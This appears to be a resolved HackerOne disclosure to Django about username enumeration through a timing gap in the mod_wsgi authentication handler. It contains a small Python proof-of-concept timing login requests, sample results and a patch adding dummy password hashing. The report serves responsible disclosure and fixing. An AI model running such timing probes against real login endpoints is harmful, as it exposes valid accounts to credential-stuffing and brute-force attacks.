User enumeration via timing attack in Django mod_wsgi authentication backend leads to account discovery

Disclosed: 2026-02-04 13:06:28 By stackered To django
Unknown
Vulnerability Details
# User enumeration via timing attack when using mod_wsgi authentication backend Hi Django Security Team, ## Issue Description The vulnerability exists in the `check_password` function in `django/contrib/auth/handlers/modwsgi.py`. When a non-existent username is provided, the function returns immediately without performing password verification: ```python def check_password(environ, username, password): """ Authenticate against Django's auth database. mod_wsgi docs specify None, True, False as return value depending on whether the user exists and authenticates. """ # db connection state is managed similarly to the wsgi handler # as mod_wsgi may call these functions outside of a request/response cycle db.reset_queries() try: try: user = UserModel._default_manager.get_by_natural_key(username) except UserModel.DoesNotExist: return None if not user.is_active: return None return user.check_password(password) finally: db.close_old_connections() ``` ## Steps to Reproduce 1. Launch the provided docker container to setup the testing environment. I tried to follow [the official documentation](https://docs.djangoproject.com/en/5.2/howto/deployment/wsgi/apache-auth/) to build this environment. ```bash docker build -t django-apache-auth . docker run --rm -it -p 8000:80 django-apache-auth ``` 2. Run the following Python script: ```python import requests from requests.auth import HTTPBasicAuth url = "http://localhost:8000/secret" username = "admin" password = "notthepassword" #warmup response = requests.get(url, auth=HTTPBasicAuth(username, password)) response = requests.get(url, auth=HTTPBasicAuth(username, password)) # slow response response = requests.get(url, auth=HTTPBasicAuth(username, password)) print(response.elapsed.microseconds) # fast response username = "nonexistant" response = requests.get(url, auth=HTTPBasicAuth(username, password)) print(response.elapsed.microseconds) # fast response username = "nonexistant" response = requests.get(url, auth=HTTPBasicAuth(username, password)) print(response.elapsed.microseconds) # slow response username = "admin" response = requests.get(url, auth=HTTPBasicAuth(username, password)) print(response.elapsed.microseconds) ``` The script produces output similar to: ``` 379669 3090 2347 236157 ``` This clearly demonstrates that authentication attempts with existing usernames (`admin`) take significantly longer than attempts with non-existent usernames. ## Impact This timing attack allows attackers to enumerate valid usernames in the system, which can be used as a stepping stone for further attacks such as credential stuffing or brute force attempts focused on known valid accounts. ## Remediation I suggest applying the same counter-measure implemented in the other authentication backend, namely calling `UserModel().set_password(password)` before returning `None` : ```python def check_password(environ, username, password): """ Authenticate against Django's auth database. mod_wsgi docs specify None, True, False as return value depending on whether the user exists and authenticates. """ # db connection state is managed similarly to the wsgi handler # as mod_wsgi may call these functions outside of a request/response cycle db.reset_queries() try: try: user = UserModel._default_manager.get_by_natural_key(username) except UserModel.DoesNotExist: UserModel().set_password(password) return None if not user.is_active: UserModel().set_password(password) return None return user.check_password(password) finally: db.close_old_connections() ``` With this fix implemented, the previous PoC produces results like this: ``` 339185 340059 342360 342630 ``` Demonstrating that it fixes the vulnerability.
Actions
View on HackerOne
Report Stats
  • Report ID: 3424977
  • State: Closed
  • Substate: resolved
  • Upvotes: 24
Share this report